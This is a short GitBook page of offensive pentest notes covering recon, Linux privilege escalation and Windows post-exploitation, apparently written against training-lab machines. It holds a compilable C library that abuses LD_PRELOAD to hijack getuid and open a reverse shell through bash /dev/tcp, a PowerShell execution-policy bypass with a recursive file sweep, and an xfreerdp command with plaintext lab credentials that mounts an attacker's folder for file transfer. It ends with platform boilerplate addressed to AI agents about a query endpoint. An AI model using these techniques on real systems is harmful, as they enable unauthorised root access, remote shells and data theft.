> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/elite/network-pentest/notes.md).

# Notes

> Reconncenc

If found id\_rsa make chmod 600 to access file

> Initial Access

> Privesc

* [ ] Find SUID Files like (u+s,g+s)
* [ ] in Linux/Unix Search in process running can find any  suspicious process like use **`systemctl list-units --type=service --all`**
* #### LD\_PRELOAD bypass <a href="#ld_preload-bypass" id="ld_preload-bypass"></a>

Here is a library you can compile to abuse the `LD_PRELOAD` env variable:

```c
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
	unsetenv("LD_PRELOAD");
	system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
	return 1;
}
```

> Post-exploitation

* [ ] In Windows use Powershell -ep bypass then  use this command to get important files

```powershell
Get-ChildItem -Recurse -File -ErrorAction SilentlyContinue | Select-Object FullName
```

* [ ] if Port 3389 is Open try connect using rdesktop or xfreerdp and use /drive:.,kali-share to shere your partition on attacker Machine

{% code overflow="wrap" %}

```bash
xfreerdp /v:cyberlens.thm /u:CyberLens /p:HackSmarter123 /size:80% /drive:.,kali-share 
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://h3ckt0r.gitbook.io/0xsec/elite/network-pentest/notes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
